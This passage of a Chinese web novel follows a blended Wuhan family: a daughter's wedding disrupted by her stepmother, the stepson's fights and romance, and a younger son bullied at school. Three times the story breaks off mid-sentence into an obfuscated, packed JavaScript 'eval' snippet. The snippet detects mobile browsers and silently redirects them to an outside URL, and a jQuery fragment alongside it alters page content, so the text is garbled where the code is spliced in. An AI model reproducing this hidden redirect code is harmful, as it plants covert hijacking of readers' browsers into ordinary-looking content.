“你巴不得把他推出去。”冯鹃不是藏得住话的人,一边干着活,一边三言两语说了,她睡到下午快一点才起床,柳志华回来吃中饭,摊了牌。 柳志华说婚是一定要离的,他净身出户,但他每个月的工资奖金都交给冯鹃了,无力再给柳俊杰留笔钱,这件事算他对不起儿子,可他个人能力有限,只能这样。 冯鹃越说越气,手上的事却一点不乱:“他还说,他没尽到当爸的责任,他有愧。说得倒轻巧!” 秦飞心想,老柳要是讲责任,当初就不会抛妻弃女了,他问:“那你打算怎么办?” 冯鹃说:“他想走就走?生意这么难做,光靠我一个人,怎么养杰杰?他初中高中大学,花钱的日子还在后头。还有你结婚,杰杰结婚,彩礼房子哪样不要钱?” 秦飞说:“我结不结婚放一边,我跟你一起养杰杰。” 冯鹃看看秦飞,想说什么,算了。有几个顾客过来,她招呼去了:“吃点什么?” 秦飞高考填志愿是柳志华帮忙参考的,冯鹃听不懂,问:“自动化控制是不是搞IT的?” “计算机很多课我也都要学。”秦飞横竖跟她说不清楚,笼统道,“你想这么理解也行,反正IT的事我也能做。” 光谷那边全是搞IT的,不愁就业,冯鹃放了心。大四的时候,秦飞投了几份简历,有家主营工业机器人的公司是他专业对口单位,但要去北京,他选了家附近一家公司上班,还是干上IT了。 公司主要做数据恢复,秦飞跟柳志华一样,也是接单工作。糊涂鬼很多,手机电脑误删除,不小心格式化之类很普遍,他做得顺手也省心,到手工资不差,但每年出去旅个游,平时买点电子产品,再买点衣服鞋子打扮一下,一年到头落不下钱,最多是没啃老。 冯鹃炒着肥肠面,秦飞剥着蒜瓣,不说话。冯鹃看他那一眼,他懂。他大手大脚,在他妈眼里是个混混,根本不指望他。 秦飞有点闷气,摊上又来了顾客,点了炒面和一盘炒虾球,他蹲下来,抓过小龙虾,咔咔咔拧断它们的头。 小龙虾的内脏都在脑袋里,有人嫌脏,只吃去头的部分,稍稍一炒,它就卷曲如球,谓之虾球。柳志华年轻时在湖南当兵,他说那边管它叫虾尾,比虾球直白,但虾球更形象。 柳俊杰来吃晚饭,冯鹃舀了半碗绿豆汤,让他垫一垫。她炒的花饭好吃,柳俊杰百吃不厌,吃完饭跑去玩,秦飞给他5块钱,让他去买可乐喝,他高高兴兴地跑了,玩得满头大汗回来,5块钱只花了5角钱,他说老冰棒比可乐解渴。 晚上11点半,柳志华还没回来,秦飞要收摊,冯鹃不让,五一小长假明天还剩一天,今晚玩的人多,生意还能做。秦飞说:“我的工作带回家里也能做,以后我每天早点下班,老柳能做的事都归我做。” 冯鹃干笑两声,接着看剧。凌晨一点多,柳志华忙完回了,夜市街就剩鹃姐大排档还开着,秦飞和冯鹃一人玩手机游戏,一人看古装言情剧,都不说话。 家里是两居室,兄弟俩一间屋,柳俊杰睡得香扑扑的,他把空调开了睡眠模式,秦飞到家空调已经关了,柳俊杰缩在凉席上睡着,头发都汗湿了,秦飞重新把空调打开,冲完澡也睡了。 柳志华吃完早饭出门,秦飞起床,走到客厅一闻,辣椒气味呛人。厨房大门紧闭,冯鹃在炼辣椒油。 冯鹃每次做辣酱小菜之类,都把厨房的门关得严严实实,自己也裹得严严实实,长袖衬衫围裙加口罩。有年柳志华发了半年奖,强行在厨房安了空调,冯鹃骂了他几回,弄个电扇就不热,瞎花钱。 亲戚来串门,哟呵几句:“日子过得好哇,连厨房也有空调!” 柳志华笑道:“厨房是黑旋风的炼丹房,要隆重点。” 冯鹃笑得很幸福,秦飞当时还在读初三,丢给她一副泳镜:“防水防雾。” 冯鹃戴上了,眼睛不再被辣得流泪,她还突发奇想:“我戴个摩托车头盔,你说效果怎么样?” 柳志华骑电动车上下班,把头盔甩给冯鹃,冯鹃戴了片刻,扔一边了:“比口罩还不透气,我要憋死。” 再怎么全副武装,冯鹃仍会被辣到,不断打喷嚏。厨房玻璃门外,秦飞站了站,给大学室友鲍海生发条微信:“有兼职想着我啊。” 鲍海生祖祖辈辈都在山西,没见过大海,偏偏有个渔民似的名字,他挺嫌弃,入校没几天就去纹个下山豹,万望大家以后叫他阿豹。 阿豹不想回山西小城,一门心思想在武汉扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563458|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根,大二就在校外兼职,毕业在同乡的小公司当了业务经理,手头经常有些小项目。几天后,秦飞刚忙完,阿豹说给他揽了个小活计。 广埠屯有幢商厦其中半层楼退租,被对面楼一家酒业公司签了,分公司员工都会搬去,阿豹说:“两栋楼很近,你去帮他们组个无线局域网。” 那半层楼是几个大通间,原先是一家儿童摄影机构,刚刚搬空。酒业公司的经理跟人商量简单装修装修,把公司LOGO安上去,蒋馨月和同伴抱着纸箱,说说笑笑从里间出来,酒业经理和她打招呼:“蒋小姐慢走!” “电话联系。”蒋馨月一抬头,望见秦飞走进来。 陌生女孩冲自己微笑致意,秦飞也对她笑,擦肩而过之际,他忍不住回头,蒋馨月也回头看他。 蒋馨月长得很像秦飞高中时的同桌,班里起过两人的哄。同桌考去上海,第一年还有联系,寒假还聚过会,后来就联系少了。秦飞了解着酒业经理的需求,在大通间里转来转去,谈完正事,不经意似夸道:“刚才那两个是你们公司文员?长得有气质。” 酒业经理说:“嗐,是前租户,提前三个月退租,明天还得跟她们结费用。” 秦飞请酒业经理喝顿小酒,问到蒋馨月的联系方式。都是男人,酒业经理哪有不明白的,他把中介人员告知的信息都跟秦飞说了,蒋馨月父母是生意人,家里有钱,她跟男朋友合伙开摄影机构,还拉了几个朋友入伙。 过年时,蒋馨月发现男朋友出了轨,纠缠了几个月,她在网上挂了退租信息,被酒业经理捡了个小漏。蒋馨月一口气签了三年,现在的租金比那时高不少。 酒业经理把蒋馨月的微信名片推荐给秦飞,秦飞当时没加,晚上,酒业经理报喜:“你俩肯定能成,她也找我问你是谁。” 秦飞趴在电脑面前做方案,蒋馨月加他微信:“章经理说你能搞网络,我的新门面想找你帮忙,哪天来看看?” 秦飞读的是理工科院校,女生少,他只谈过一次恋爱,毕业就分手,蒋馨月高中就出去留学,人很外向,两人第一次单独见面相谈甚欢。 秦飞把蒋馨月送回家,回到摊上,冯鹃正在给顾客做牛肉粉丝煲,挥汗如雨。摊位上的袖珍电扇不顶用,秦飞转头去买冷饮,给柳俊杰递一瓶,另一瓶开了递给他妈:“客户送的。” 明显是刚从冰柜拿出来的,冯鹃说:“下次想喝冰的,让杰杰带你到批发站买。” 秦飞给他妈看账户余额:“接了两个私活,拿了订金,你儿子还行吧?” 冯鹃看了看:“今年十一的旅游经费啊?” 秦飞哼一声,收回手机,催着柳俊杰回家睡觉,自己去刷小龙虾。冯鹃这两天心情又还可以,可能是跟柳志华休战的缘故。但这都是表面现象,回来的路上,秦飞想找柳志华谈话,柳志华不响应:“我在云豪酒楼,他们有四台空调有问题,这才修到第二台,早不了。” 秦飞说:“老柳,逃避不解决问题。” 柳志华说:“没逃避,你妈不同意,我就慢慢做她思想工作。飞飞,我跟你妈分开,对她不是坏事,你和杰杰争点气,她以后还得靠你们。” 柳志华油盐不进,秦飞心里烦透了,一盆小龙虾都被他拧断了脑袋。顾客点的明明是油焖大虾,又催得急,冯鹃赔着小心好说歹说,打了对折,炒成虾球。 4. 第 4 章 赵东南和柳漾的婚礼日期是张玢找人算过的,她说终身大事,信一信没坏处。大师看过柳漾和赵东南的生辰八字,定在5月26号。柳漾跟赵东南说六六大顺,这日子代表我二人会顺利,赵东南说其实哪天他都满意,媳妇在身边就是他的良辰吉日。 赵东南的性格随他爸多一些,很和气,他在电信公司接入维护中心工作,责任范围又多又琐碎,为人周到会说话,柳漾的同事好友都对他印象好。日子定下来,柳漾给亲戚寄请柬,大舅夸她:“你比你妈眼光好。” 开始总是好的。柳漾看过爸妈年轻时的照片,柳志华五官周正,相貌称不上多出色,但他有1米81,当过兵,腰杆挺直,气宇轩昂,等他年纪上来,这点更是加分。一没发胖二不秃头,走起路来长身阔步,在同龄男人里算是仪表堂堂,至今仍能让两个女人你争我夺,外在条件还是不错的。 急诊中心忙,5月25日,柳漾才开始休婚假,赵东南把她送回娘家。陈玉兰把家里仔细收拾了,连油烟机也找人清洗了,门窗都贴了大红囍字,给女儿备下的嫁妆整整齐齐堆在次卧。 母女多年没在一张床上睡过,絮絮聊到深夜。陈玉兰很感叹,离婚时一想到房贷就紧张得要死,货运公司的工作她干得战战兢兢,每当效益不好,她比老板还发愁,但也终于熬到女儿成家了。 知道自己过得不容易,还想跟渣男复婚,柳漾忍了又忍,问:“你那时候都有哪些东西?” 陈玉兰一一说给她听,两斤四斤六斤重的棉被各两床,枕套枕巾四对,彩电一台,还有一辆二四的女式自行车,搁在现在看很寒酸,但在她年轻时还算拿得出手,还是集全家之力才置备的。 本地很多新婚夫妇都是两家合办婚宴,柳漾也建议过,但陈玉兰不同意:“我家老亲戚能上台面的不多,你爸那边也一般,两家分开办,免得你婆婆又对你有意见。” 陈玉兰对柳漾婚事惟一担心的是张玢,但大多数婆婆都那样。她看得出来,赵东南是真心喜欢柳漾,看她总是笑眯眯的,她总想,只要男人肯站在你这边,日子就不会太难过。 柳漾脾气冲,陈玉兰虽然担心,但女孩长大了必然要离开娘家,她只能一遍遍地说:“受了气跟妈说,别忍。” “我什么时候忍过?”柳漾笑起来。张玢言行阴阳怪气了点,但不会像冯鹃那样撒泼,她基本不跟陈玉兰说张玢的不是,也没必要说,背着人骂几句就完事。在医院,她见多了歇斯底里的病人和家属,张玢跟他们比起来不值一提。 天蒙蒙亮,陈玉兰就起床了,轻手轻脚把客厅和次卧又擦拭了一通,出门买回女儿喜欢吃的糯米鸡和蛋酒。想到今天家有喜事,她还买了四个欢喜坨,跟柳漾一人两个。 欢喜坨是用糯米粉滚成圆团,裹上一层芝麻炸熟而成,外地的叫法是麻团麻圆之类。陈玉兰买的是豆沙馅,她想图个欢欢喜喜甜甜蜜蜜之意。 柳漾洗漱完,以沈维为首的伴娘团陪着化妆师赶来。陈玉兰爱干净,又紧张,柳漾化着妆,她又拖了一遍地。 柳漾的嫁妆是陈玉兰和柳志华商量着置办的,真丝床品四件套六件,不同规格的云丝被和羽绒被各四件,冰箱洗衣机和电视都买了最新款,给赵家婚房换上。伴娘们夸床品花色好,阿姨有品位,再夸电视大,换了自己可舍不得买,陈玉兰这才略微放松了点。 柳志华带着他哥嫂来了,他头天就去理发刮面,买了一套衬衫西裤,打上了领带。衣服熨烫得笔挺,有模有样,博得伴娘团一致好评:“叔叔好帅。” 按习俗,柳漾出门前要和赵东南一起给父母奉茶,柳志华带了几种好茶叶。赵东南率领的接亲队伍是他最要好的朋友,齐齐夸这位岳父大人体面过人,都说得动用书面语“东岳泰山”。 接亲队伍去抬嫁妆,柳漾和伴娘团藏在主卧,紧紧关着门。伴娘们隔着门调侃赵东南,又是让他唱歌对柳漾抒发心意,又是玩真心话测试,赵东南愉快地配合,任由伴娘们拿捏,伴郎们也挺会来事,一个个红包从门缝塞进来。 伴娘们闹够了,卧室门打开,赵东南顺利完成求门仪式,牵着柳漾的手为父母奉茶,跪下来喊爸妈。柳泰山和夫人各自准备了改口费,厚厚的红包交给赵东南,还送了他一块名表。 柳漾暗自难过,她妈生怕嫁妆寒酸,她被公婆轻贱,拿出所有积蓄操办,但婆婆张玢看不上她是全方位的。 陈玉兰含泪叮嘱:“漾漾脾气急,今后你要包容一点,多迁就她,发生任何事都站在她这边。” 柳志华也动了感情,涩然道:“从今天起,你和漾漾是正正式式的两口子,遇到事情了,要多为漾漾想想,要记住她才是会陪你一生的人。我犯了错,害漾漾和她妈妈吃了苦,你要引以为戒。” 赵东南连声说明白:“爸,妈,你们放心把漾漾交给我。” 柳漾十几年没喊过爸了,不知道为什么,在陈玉兰的眼泪里,她有点走神。她并不认可把谁交给谁这种说法,但是当柳志华摸着她的头,红着眼圈说:“以后好好的,好好的。”她承认有些心软,眼睛也红了。 沈维等伴娘都在旁边提醒不能哭,不能把妆容哭花了,柳漾忍住眼泪,赵东南打横抱她出门。 柳漾家在一楼,不像别家那样,能从楼上抱下来,赵东南特意让人把婚车停得远些,把柳漾抱去小区门口的停车位,以显示他作为新郎的诚意。 小区的老人孩子多,伴娘们沿路抛洒着喜糖。柳志华和陈玉兰把女儿女婿送到了单元楼口,柳漾被赵东南抱在怀里,回头望,她妈捂着嘴哭泣。 五月末,晴空万里,柳漾被赵东南抱到单元楼拐角处,再回头,她爸妈还在看她,她拼命忍泪,对赵东南说:“重死了吧,我下来自己走。” 新娘身轻如燕,穿着白婚纱,新郎满面笑容,说他抱着一捧白雪,低头亲她的脸:“小蚊子,我今天特别高兴,你今天特别漂亮。” 柳漾只有1米64,不算高,但身材比例好,腰细腿长,扎针狠准稳,给人抽血更是利落,赵东南在人前喊她漾漾,人后亲昵时喊她小蚊子。小蚊子说:“我也好高兴。” 冯鹃和柳俊杰迎面走来,柳漾一愣,冯鹃掏出红包塞到她怀里:“恭喜啊。”然后把柳俊杰推到她眼皮下,笑道,“快跟姐姐姐夫说恭喜,这是你姐,亲的。” 伴郎伴娘集体傻眼,柳漾似笑非笑:“谢谢了。” 横空杀出一个弟弟,还有个后妈,伴郎肯定会把闲话传到赵家去,冯鹃要的就是这效果,得意非凡。陈玉兰气得脸色铁青,幸亏她决定两家分开摆酒,若是合办,冯鹃很可能会跑去婚礼现场发难,让柳漾在婆家人面前丢脸。 赵东南抱着柳漾快步离开,他今天是新郎,不便在众目之下动粗,柳漾轻轻扯了扯他的衣袖:“对不起。” 柳俊杰发现柳志华,甩开冯鹃的手,跑过去:“爸爸!” 冯鹃眼见柳漾的大舅二舅都来了,站定了,任由柳俊杰招手,不肯再往前挪一步。 柳志华知道冯鹃是来恶心人,不好当着儿子的面发作,陈玉兰的两个弟弟要过去,被她拦了一下,独自走向冯鹃。冯鹃抱着双臂看她,等着跟她吵一架,但陈玉兰上前,风起云涌就是一耳光。 秦飞跑来,目睹了这一幕。他妈捂着脸呆若木鸡,自然是没想到陈玉兰竟然也能发狠。当年,冯鹃大着肚子来找陈玉兰,陈玉兰气得发抖也没动过手,五一节,冯鹃把陈玉兰按在地上打,陈玉兰也没还手,但欺负她女儿就不行。 秦飞使劲拽走冯鹃,冯鹃恨得牙痒:“快去,把老柳的那两个舅子给我打一顿。打不赢两个,你就打矮点的那个,照准脸上擂,擂了就跑。快去。” 秦飞不知道他妈刚才做了什么,但老柳女儿结婚,她出现就相当于闹场,只要赵家亲戚传点话,柳漾就得看公婆脸色了。 冯鹃是存心来给柳家人添堵,秦飞没好气:“你自己看,他那边多少人,你想让你儿子爬着走是吧,行啊,我去给你报仇。” 秦飞作势要去,被冯鹃拉开:“算了。” 柳俊杰跑回来:“哥,爸爸说我想吃酒席就吃,我不吃,我们走。” 早上柳俊杰要去上学,冯鹃把他喊住了:“今天你姐出嫁,带你去喝喜酒。” 柳俊杰表姐堂姐都有,他问是哪个姐,冯鹃说保密,但神色怪怪的,来的路上,柳俊杰借她的手机玩游戏,偷偷给秦飞发信息:“我是杰杰。老妈说我姐要出嫁,你怎么没说过?” 这下连柳俊杰都生气了:“你是不是又想跟老爸吵架?你们两个自己吵,不要利用我!” 秦飞瞪着冯鹃:“你连杰杰都利用,有意思吗?” “我不是无理取闹,我叫以牙还牙!”冯鹃坐上秦飞的车,愤愤说出原委。秦飞考上大学后,她和柳志华在酒店摆谢师宴,饭吃到一半,陈玉兰来了,在门口探头探脑,被她家亲戚看到了,柳志华连忙跑出去。 秦飞考大学关老柳前妻什么事,她露面,不就是想让人都看到老柳和前妻还有来往吗?冯鹃摔了筷子,散场后,她审问柳志华,柳志华宣称陈玉兰就是路过看到,此时,冯鹃问秦飞:“这话你信吗?我家摆酒,她跑去恶心我,我今天就来不得?” 秦飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所幸秦飞只是散漫了点,也不存钱,但他不找家里拿钱,冯鹃知足了。秦飞把她赶下车:“你回去给杰杰做饭,我去会一下那两人。” 冯鹃没拦着他,柳家人爱显摆,在大酒店摆酒席,保安多,秦飞肩宽腿长,人也机灵,吃不了亏,她走出两步折回来:“主要是老柳的小舅子,下脚黑,你防着点。” 秦飞油门一踩,直奔酒店,如果他妈早点告诉他,在柳家小区他就揍那两人了。他妈千错万错,两个大男人打一个孕妇也不是东西,有本事打老柳,还不是掂量老柳当过兵,一般人打不赢他? 陈玉兰和柳志华在门口迎宾,秦飞一眼看到陈玉兰的两个弟弟,两眼冒火,冲上去,咚咚两拳对脸砸下。他也就是少年时跟人打过架,欠缺经验,被柳志华扼住手腕,柳志华动了几分怒:“秦飞!” 秦飞甩脱他,那两人要还手,被柳志华挡住了:“你们先进去,我跟秦飞谈谈。” 秦飞目的达到,收工:“不谈。明天你跟我妈离婚,杰杰归我妈。” 柳漾大舅一家都在浙江定居,外公和他们同住,是特地赶回武汉的,柳志华猛赔不是,大舅念在外公的份上,还算通情达理,二舅妈脸都黑了,陈玉兰却没跟她道歉,只顾着数落柳志华。二舅妈越想越气,开席夹菜喝汤填饱肚子,拉上儿子杀去了赵家那边的婚宴。 张玢讲排面,酒席订在家附近的老牌酒店,柳漾换上敬酒服敬酒,赵东南的亲戚朋友调侃她杯子里的是白水,得换成红酒,赵东南都替她喝了。 二舅妈闯进来,大骂婊./子养的,扬手就扇,被柳漾泼了一脸红酒。保安连拖带拽把二舅妈弄走,柳漾的表弟甩开保安,叫嚣他爸被秦飞打了云云,柳漾冷冷看他:“怎么没连你俩一起打?” 这是她的婚礼,她有资格对为难她的人翻脸。保安们很得力,把二舅妈和表弟弄走了,柳漾继续言笑晏晏地敬酒。宴席结束后,赵东南心疼他家小蚊子:“你后妈的儿子打你二舅,他们跑来找你,这不是发神经吗?” “他们打不赢我爸,就找我,他们掂量过。”柳漾扭头看,张玢的脸黑如锅底,换了平时,柳漾会对婆婆说几句软和话意思意思,今天她不想装模作样了。二舅妈来闹事,她和赵东南都是受害人,脸上难堪心里堵,婆婆有意见,憋着吧。 赵东南的伴郎里有一人是他表弟,接完亲来酒店,趁赵东南和柳漾迎宾,表弟跟张玢说了冯鹃带着柳俊杰去送红包的事,张玢当时就有气,二舅妈一闹,她看柳漾一百个不顺眼。 明眼人都看得出来是那对母子挑事,赵东南懒得哄他妈,拽过他爸赵捷成:“我哄我媳妇去了,你去哄下你媳妇。各人媳妇各人管,今后家规就这么定了。” 5. 第 5 章 赵东南和柳漾去看电影,晚上请伴娘伴郎吃了一顿。柳漾的伴娘都是她的至交,有人是从北京赶回来的,第二天还得上班,坐夜车回京,临行前特地跟柳漾说:“你婆婆不是好东西,被她气着了,就找我们诉苦。” 婚宴上,张玢对她家亲戚说赵东南找柳漾当媳妇,亏到十里地外了,这话被北京伴娘听到了。但细究起来,张玢和赵捷成的单位虽体面,却只是普通科员,在武汉两套房子两辆车,存款几十万,北京伴娘说:“眼界太狭窄了,就他家这条件,放在婚恋市场上不够看。” 柳漾嗤道:“比我家条件好,就够她有优越感了。” 新婚夜订在五星级酒店,柳漾从浴室出来,看到陈玉兰发的信息:“我跟你二舅家以后绝不来往。” 柳漾夸她妈干得好,昨天母女夜谈,她缠着陈玉兰问东问西,才知道家里曾经发生过那么多她不知情的事。 陈玉兰和柳漾的二舅妈交恶,要从她和柳志华结婚时说起。陈玉兰是武汉远城区新洲县人,结婚当天,柳志华租了一辆车,从老家团风县来接她。那几天一直在下雨,家门口是洼地,车开不进来,停在村口,两人打伞步行而去,身边跟着伴娘伴郎。 沿路都有村人说着恭喜,走到半路,二舅妈的奶奶拄着拐杖来了,掏出红包。当时二舅妈还不算二舅妈,她和柳漾二舅是高中同学,两家都知道小儿女互相有意,结婚是迟早的事。 按老辈传下来的规矩,长辈当前,陈玉兰必须跪别,她想跪,但满地泥坑。从陈玉兰家到柳志华家,开车差不多两个小时,亲戚都等着新人到了开席,迟到了难免会说闲话,陈玉兰没时间再去换喜服,也没得换。 “张婆婆,媳妇穿旗袍不方便,我替她谢谢你哪。”柳志华卷起裤管,光着小腿跪下去,谢过二弟媳的奶奶,接了红包。等到上了车,柳志华揩着泥浆,陈玉兰拆开红包,里头两张十块钱。 柳漾的外婆生了二子一女,陈玉兰是大姐。柳漾大舅的儿子考去了上海,后来在浙江当公务员,一家人搬迁去了,外公外婆本来也去了那边,后来外婆患了癌,被大舅送回武汉,由二舅家照顾,外公中风偏瘫,留在浙江。 开始两年还好,柳漾外婆尚能自理,当她病情严重了些,二舅妈带着儿子回娘家住,扬言不能让病人影响儿子学习。 柳漾的这位表弟初中毕业上了技校,目前在家中开个棋牌馆,有人来打牌,他提供茶水瓜子和水果,赚点台子钱。 陈玉兰背着房贷,很珍惜工作,每到周末,她赶回娘家照顾母亲,但二弟媳总嫌她回去次数太少。陈玉兰自问对二弟媳不差,不解她为什么明里暗里都爱说些风凉话,有次吵起来,才知道结婚那天不肯跪,她得罪了二弟媳家。 柳漾认为这是借口,一个人不想照看老人,能找出一万个借口,她二舅妈跟她在617医院认识的很多病人家属没两样。 柳漾读高三那年,外婆去世了,陈玉兰从此跟二弟家很少再来往,过年都不见面。直到昨夜,柳漾才得知原委。当时是在寒假期间,她去补习班上课,陈玉兰回家照看母亲,把母亲推到小院里晒太阳,二舅妈和她儿子在旁边打羽毛球,陈玉兰嘱托他们看着点,她上街买了春联就回。 打完球,二舅妈和儿子回屋看电视,外婆呼吸紧张,把轮椅拍得吧嗒响,但他们没听到她的呼救声。路过的邻居看到外婆耷拉着头,感觉不对劲,跑来喊出他们。 外婆就那样去世了,二舅妈振振有词,陈玉兰在家,外婆也难逃一死,这叫寿终正寝。陈玉兰痛失母亲,对二舅妈心存芥蒂,今天二舅妈跑去赵家那边,给柳漾难堪,她就此跟二弟一家一刀两断。 柳漾回门那天是周五,她让赵东南自己回家住,她想趁周末跟她妈住上两天,陈玉兰嗔怪:“哪有结婚了还这么黏妈?” “就黏你和东哥。”柳漾撒撒娇,赵东南很顺从地告辞了,两人即将出发去北欧五国度蜜月,一走十来天,他明白柳漾担心她妈和柳志华趁机复婚,想敲打敲打。 陈玉兰择着菜,一边主动汇报,冯鹃不肯离婚,但装傻只能装得了一时,柳志华定了计划,等柳俊杰放暑假,他就搬出来,让孩子有个心理缓冲期。 柳漾又急躁了,陈玉兰哄了她几句,没哄好,便打开一个视频让她看。扇冯鹃耳光之前,她特地让她大弟弟录下来:“你别怕我以后还会受她的气。” 陈玉兰很少跟人争执,但视频里那一耳光打得坚决,柳漾心软了:“妈,一个泼妇,他都能跟她过十几年,他也高明不到哪里去。他后悔就让他后悔,复婚不值得。” “值不值得我都想明白了。”陈玉兰转移话题,“北欧五国,是哪几个国家?” 柳漾仍想再掰扯,但陈玉兰摆明了不听劝,她跺脚走人,回急诊中心帮忙。陈玉兰如此顽固,她烦透了。 北欧蜜月游如期成行,沐浴在美景里,柳漾心情转好。张玢发来几张护肤品图片,让赵东南转发给柳漾,帮表妹代购。柳漾拿着赵东南的手机看图片,无意往前一翻,看到张玢说:“环境好,心情好,适合怀孕。” 还好,赵东南没让柳漾失望,回复的是:“我都跟你说了,这两年想跟漾漾过二人世界。” 张玢不死心:“你29岁了,再过两年就31岁了。” 赵东南说:“妈,别老纠缠这件事,我和漾漾有我们自己的打算。” 度完蜜月归来,柳漾本想回娘家吃饭,但一想碰面又得争执,她趁陈玉兰上班时间,把礼物放在餐桌上就去上班,没跟她妈碰面。 急诊中心后半夜要么不太忙,医护人员见缝插针打个盹,一忙必然是送进了急重症患者。不忙的时候,柳漾就去借医生们的病程记录学习,为申请主管护师做准备。办完婚礼,她完成了一件人生大事,该收心去做更多事了。 * 阿豹介绍的活儿完工,钱都到账了,下班后,秦飞约蒋馨月吃饭。蒋馨月的摄影机构还在装修,这大半个月两人经常见面。 约会的花园式餐厅在蒋馨月新店旁边,能看到黄鹤楼。傍晚时下了小雨,庭院里绿意葱茏,两人散散步,谈谈天,各自回家。蒋馨月的朋友圈背景图片是梵高作品《星空下的咖啡馆》,秦飞路过商场买了一幅拼图,想在她开业那天送给她。 柳志华还没放工,冯鹃独自在摊上忙碌,秦飞帮把手。柳漾结婚那天,他揍完她大舅二舅就撤了,满以为柳志华晚上会教训他,那他就借机翻脸,但柳志华只当没发生过这件事,跟冯鹃相互说些家长里短,收摊回家。 秦飞师出无名,好不闷气,特地最后一个去洗澡,出来那两人都睡了,他支起耳朵,很快听到他妈打起了呼噜。 第二天,冯鹃淡淡说:“我被那两个王八蛋打得缝了七针,你听了气不过,所以跑去替我报仇,他敢有话说?” 秦飞说:“我打了人,还教训他了,当场撕破脸了,你跟他没必要再过,我收拾收拾,把他的铺盖扔出去。” 说归说,他自己也知道是气话,这套房子柳志华掏了钱,他没有,只有被柳志华赶出去的份。 这大半个月以来,一家人黑不提白不提把日子搪塞下来了。冯鹃嗅一嗅,秦飞身上沾了香水气味:“谈朋友了?” 秦飞摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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冯鹃夸蒋馨月洋气,继而脸色一暗,放大看她的包:“真的假的?” “真的吧。”蒋馨月开辆六七十多万的车,秦飞不认为她买不起真包,冯鹃接着翻蒋馨月朋友圈照片,眉头越皱越紧,“她家里是做什么的?” “她爸做医药销售起家,代理了几种药,她妈在汉口开了几家药店,好像还投资了别的生意,我没多问。”秦飞惊奇道,“你认得她的包?” “你妈书读得少,电视看得多,女主角背的包,绝对不便宜。”冯鹃笑说柳俊杰同学的家长没少吹牛,每次她去开家长会,总能听到一些女的炫耀老公又买了什么什么,结婚纪念日礼物啦,生二宝的奖励啦,还拿眼睛瞟她的布袋子,柳俊杰很气愤,“帆布包也好看。” 冯鹃说:“别理她们,肚子里没货,才喜欢比来比去。” 她肚子里也没货,但真要比的话,大儿子名牌大学毕业,小儿子每学期都是班里前五名。 蒋馨月的家境让冯鹃有了新的心事,趁秦飞去洗澡,她跟柳志华说:“你姑娘嫁个工薪家庭,她婆婆就跩得二五八万,飞飞女朋友家里比你女婿家强多了,我压力大。” 柳志华说:“他们两个感情好,女方家里就不会计较那么多,只要你好相处,女孩家就不会有太多话说。” 冯鹃不高兴了:“我哪里不好相处?” “好好好,做人敞亮,直来直往。”柳志华打个呵欠,不做声了。冯鹃说话,他没回应,睡着了。 冯鹃知道柳志华在装睡,但这些天他很平静,复婚一事就当没提过,她就睁一只眼闭一只眼过日子。 6. 第 6 章 临到期末考试,柳俊杰在学校被人打了。体育课期末考试,柳俊杰50米跑了第一,活生生把段文轩挤到了第二。段文轩家里有钱,伙同一帮人把柳俊杰按在草坪打。 双方闹到班主任那里,冯鹃喊上柳志华去学校,段文轩嘲笑道:“柳俊杰,你爸妈都好老。” 柳俊杰回嘴:“你爸好肥,还秃头。” 两个孩子在教导主任办公室又要打,柳志华问明事情经过:“我带我儿子去做个体检。” 冯鹃领走柳俊杰,柳志华留下来和对方家长交涉,儿子被打得青一块紫一块的,他得把事情处理妥善,免得将来儿子还遭到校园□□。有钱人家的孩子轻而易举就能聚拢一堆小狗腿,他不能再让儿子吃亏。 柳俊杰做了检查,医生开具了伤情鉴定单,看着恐怖,但没大碍。柳俊杰跳上公交车,有人给他让座,他喊冯鹃过来坐,扭头一看,他妈拉着吊环,木愣愣地掉眼泪。 秦飞回来看到柳俊杰的伤,气得团团转,柳俊杰说:“三打一,他们胜之不武。”还安慰说他没太吃亏,他穿的球鞋是秦飞买的,专业运动鞋,一脚踩上了对方的脸,对方也挂了彩。 秦飞带弟弟下楼吃饭,冯鹃担心伤口感染,只让柳俊杰吃清淡的,柳志华在给人打包,秦飞主动问:“对方家长怎么说,老师怎么说?” 柳志华说:“对方家长保证会教育孩子,赔偿医药费,老师说学校一直在整顿校园欺凌,我说我大儿子认得报社记者,还敢再犯,网上见。” “明天开始我送杰杰上学,去放个话。”第二天,秦飞把柳俊杰送去学校,对准段文轩就是几拳,“还敢再欺负我弟,我见你一次打一次。” 平时柳志华去开家长会,总穿得很整洁,昨天临时赶去,穿的是空调品牌制服,段文轩被秦飞教训后,不敢再和柳俊杰厮打,但被他一传播,所有同学都知道柳俊杰他爸是修空调的,家里穷得叮当响。 秦飞请假接弟弟放学回家,发觉他明显蔫了,闷头闷脑不做声。秦飞把手机丢给他玩,他也提不起劲。兄弟俩回到家,正赶上柳志华找冯鹃索要身份证:“证件还给我。” 柳志华按兵不动,冯鹃心里发毛,藏起了户口本和他的身份证:“你上班不需要证件,我替你保管。” 柳志华说:“你这样就没意思了。” 冯鹃说:“你心里没鬼,就不在乎这个。” 秦飞给柳志华使个眼色,柳志华回屋开导柳俊杰。秦飞说:“证件都偷,亏你做得出来。” 冯鹃眼一瞪:“要你管。” 柳俊杰被爸爸哄好了,乖乖做作业。柳志华又接到几个报修单,出了门,冯鹃对秦飞说:“我腾不开手,你跟去看看,是不是去找那个女的商量对策了。” 秦飞觉得他妈不可理喻:“腿长在他自己身上,他要走,你藏起证件他也还是要走。” 